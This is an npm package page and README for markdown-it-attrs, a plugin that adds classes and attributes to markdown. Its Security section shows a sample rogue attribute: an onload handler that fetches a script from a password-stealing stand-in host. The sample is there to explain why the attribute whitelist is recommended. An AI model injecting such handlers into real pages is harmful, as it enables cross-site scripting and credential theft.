4.2.0 • Published 3 months ago

markdown-it-attrs v4.2.0

Weekly downloads
23,271
License
MIT
Repository
github
Last release
3 months ago

markdown-it-attrs Build Status npm version Coverage Status

Add classes, identifiers and attributes to your markdown with {.class #identifier attr=value attr2="spaced value"} curly brackets, similar to pandoc's header attributes.

Table of contents

Examples

Example input:

# header {.style-me}
paragraph {data-toggle=modal}

Output:

<h1 class="style-me">header</h1>
<p data-toggle="modal">paragraph</p>

Works with inline elements too:

paragraph *style me*{.red} more text

Output:

<p>paragraph <em class="red">style me</em> more text</p>

And fenced code blocks:

Output:

<pre><code data="asdf" class="language-python">
nums = [x for x in range(10)]
</code></pre>

You can use .. as a short-hand for css-module=:

Use the css-module green on this paragraph. {..green}

Output:

<p css-module="green">Use the css-module green on this paragraph.</p>

Also works with spans, in combination with the markdown-it-bracketed-spans plugin (to be installed and loaded as such then):

paragraph with [a style me span]{.red}

Output:

<p>paragraph with <span class="red">a style me span</span></p>

Install

$ npm install --save markdown-it-attrs

Support

Library is considered done from my part. I'm maintaining it with bug fixes and security updates.

I'll approve pull requests that are easy to understand. Generally not willing merge pull requests that increase maintainance complexity. Feel free to open anyhow and I'll give my feedback.

If you need some extra features, I'm available for hire.

Usage

var md = require('markdown-it')();
var markdownItAttrs = require('markdown-it-attrs');

md.use(markdownItAttrs, {
  // optional, these are default options
  leftDelimiter: '{',
  rightDelimiter: '}',
  allowedAttributes: []  // empty array = all attributes are allowed
});

var src = '# header {.green #id}\nsome text {with=attrs and="attrs with space"}';
var res = md.render(src);

console.log(res);

demo as jsfiddle

Security

A user may insert rogue attributes like this:

![](img.png){onload=fetch('https://imstealingyourpasswords.com/script.js').then(...)}

If security is a concern, use an attribute whitelist:

md.use(markdownItAttrs, {
  allowedAttributes: ['id', 'class', /^regex.*$/]
});

Now only id, class and attributes beginning with regex are allowed:

text {#red .green regex=allowed onclick=alert('hello')}

Output:

<p id="red" class="green" regex="allowed">text</p>

Limitations

markdown-it-attrs relies on markdown parsing in markdown-it, which means some special cases are not possible to fix. Like using _ outside and inside attributes:

_i want [all of this](/link){target="_blank"} to be italics_

Above example will render to:

<p>_i want <a href="/link">all of this</a>{target=&quot;<em>blank&quot;} to be italics</em></p>

...which is probably not what you wanted. Of course, you could use * for italics to solve this parsing issue:

*i want [all of this](/link){target="_blank"} to be italics*

Output:

<p><em>i want <a href="/link" target="_blank">all of this</a> to be italics</em></p>

Ambiguity

When class can be applied to both inline or block element, inline element will take precedence:

- list item **bold**{.red}

Output:

<ul>
<li>list item <strong class="red">bold</strong></li>
<ul>

If you need the class to apply to the list item instead, use a space:

- list item **bold** {.red}

Output:

<ul>
<li class="red">list item <strong>bold</strong></li>
</ul>

If you need the class to apply to the <ul> element, use a new line:

- list item **bold**
{.red}

Output:

<ul class="red">
<li>list item <strong>bold</strong></li>
</ul>

If you have nested lists, curlys after new lines will apply to the nearest <ul> or <ol>. You may force it to apply to the outer <ul> by adding curly below on a paragraph by its own:

- item
  - nested item {.a}
{.b}

{.c}

Output:

<ul class="c">
  <li>item
    <ul class="b">
      <li class="a">nested item</li>
    </ul>
  </li>
</ul>

This is not optimal, but what I can do at the momemnt. For further discussion, see https://github.com/arve0/markdown-it-attrs/issues/32.

Similar for tables, attributes must be two new lines below:

header1 | header2
------- | -------
column1 | column2

{.special}

Output:

<table class="special">
  <thead>
    <tr>
      <th>header1</th>
      <th>header2</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>column1</td>
      <td>column2</td>
    </tr>
  </tbody>
</table>

If you need finer control, decorate might help you.

Custom rendering

If you would like some other output, you can override renderers:

const md = require('markdown-it')();
const markdownItAttrs = require('markdown-it-attrs');

md.use(markdownItAttrs);

// custom renderer for fences
md.renderer.rules.fence = function (tokens, idx, options, env, slf) {
  const token = tokens[idx];
  return  '<pre' + slf.renderAttrs(token) + '>'
    + '<code>' + token.content + '</code>'
    + '</pre>';
}

let src = [
  '',
  '```js {.abcd}',
  'var a = 1;',
  '```'
].join('\n')

console.log(md.render(src));

Output:

<pre class="abcd"><code>var a = 1;
</code></pre>

Read more about custom rendering at markdown-it.

Custom blocks

markdown-it-attrs will add attributes to any token.block == true with {}-curlies in end of token.info. For example, see markdown-it/rules_block/fence.js which stores text after the three backticks in fenced code blocks to token.info.

Remember to render attributes if you use a custom renderer.

Custom delimiters

To use different delimiters than the default, add configuration for leftDelimiter and rightDelimiter:

md.use(attrs, {
  leftDelimiter: '[',
  rightDelimiter: ']'
});

Which will render

# title [.large]

as

<h1 class="large">title</h1>

Development

Tests are in test.js.

Run all tests:

npm test

Run particular test:

npm test -- -g "not crash"

In tests, use helper function replaceDelimiters to make test run with different delimiters ({}, [] and [[]]).

For easy access to HTML output you can use debug.js:

node debug.js # will print HTML output

Please do not submit pull requests with changes in package version or built files like browser.js.

License

MIT © Arve Seljebu

sinister-sixrops@evorto/lexicaelite-fourstc-md-editor@src-works/npm-ts-gulpvite-plugin-ddocstatic-site-express@paiondata/nextwikidragonstyle-test@everything-registry/sub-chunk-2132remarkable-docs@remarkable-docs/uixyz-vue-markdownxyz-vue-md-zpchancellor-clialt-super-great-testing-chat-temptepez-static-websitewiki10vz-plugin-mdxvue-jeditorvue-markdown-attrsvue-markdown-it-tocvue-markdown-plusvue-markdown-shikishinssan-cli-markdown-loaderremix-uispec-up-tspec-upreveloth-pit-viperthe-documentatortextblocksvite-plugin-markdown-to-componentvite-plugin-markdown-with-prismjsvite-plugin-markdownifyvite-plugin-md-plusvite-plugin-flairmdvue-bulma-markdown-editorvite-plugin-tdoc@higby/eleventy-markdownvuepress-theme-groot@halo-dev/halo-markdown-editor@esad-gv/memo-js-librarymeta-doclifted-nuxt2gitbook-plugin-slidesilm-mdmoyin-html2pdfmoyin-md2htmlmotes-mdjsssghistoirehexo-renderer-multi-markdown-ithexo-renderer-multi-next-markdown-ithexo-renderer-markdownhexo-renderer-markdown-ithexo-post-parserhexo-renderershtexignitejumbogrovejd-ppt-clijoplin-plugin-note-link-systemmusefulmarkdown-it-pfmmarkdown2html-lessmarkdown2html-promarkdownattrs-loadermarkdownit-zq-loadermarkbindmarkbind-coremarkconvmarkdown-cli-compilermarkdown-it-image-loadingmangony-hbs-helpersmd-fileservermdtkmd-yaml-jsonmd2gslidesluminet-renderer-markdown-itorigami-plugin-markdown-docsppt-clipiral-docs-toolsplixocean-markdown-itpresscraftperfect-markdownn8n-nodes-betterpeoplereact-lite-markdownnapier-clientnode-red-contrib-static-markdownreflectjs-corespignitesquidostatic-site-scaffoldsuc_keditorsuper-great-testing-chat-tempsignalwerk.documentation.md
4.2.0

3 months ago

4.1.6

2 years ago

4.1.4

3 years ago

4.1.3

3 years ago

4.1.2

3 years ago

4.1.1

3 years ago

4.1.0

3 years ago

4.0.0

4 years ago

3.0.3

4 years ago

3.0.2

5 years ago

3.0.1

5 years ago

3.0.0

5 years ago

2.4.1

5 years ago

2.4.0

6 years ago

2.3.4

6 years ago

2.3.3

6 years ago

2.3.2

6 years ago

2.3.1

6 years ago

2.3.0

6 years ago

2.2.0

6 years ago

2.1.0

7 years ago

2.0.0

7 years ago

1.2.1

7 years ago

1.2.0

7 years ago

1.1.1

7 years ago

1.1.0

7 years ago

1.0.1

7 years ago

1.0.0

7 years ago

0.9.0

8 years ago

0.8.0

8 years ago

0.7.4

8 years ago

0.7.3

8 years ago

0.7.2

8 years ago

0.7.1

8 years ago

0.7.0

8 years ago

0.6.5

8 years ago

0.6.4

8 years ago

0.6.3

8 years ago

0.6.2

8 years ago

0.6.1

8 years ago

0.6.0

8 years ago

0.5.1

8 years ago

0.4.1

8 years ago

0.5.0

8 years ago

0.4.0

8 years ago

0.3.0

9 years ago

0.2.1

9 years ago

0.2.0

9 years ago

0.1.9

9 years ago

0.1.8

9 years ago

0.1.7

9 years ago

0.1.6

9 years ago

0.1.5

9 years ago

0.1.4

9 years ago

0.1.3

9 years ago

0.1.2

9 years ago

0.1.1

9 years ago

0.1.0

9 years ago

0.0.3

9 years ago

0.0.2

9 years ago

0.0.1

9 years ago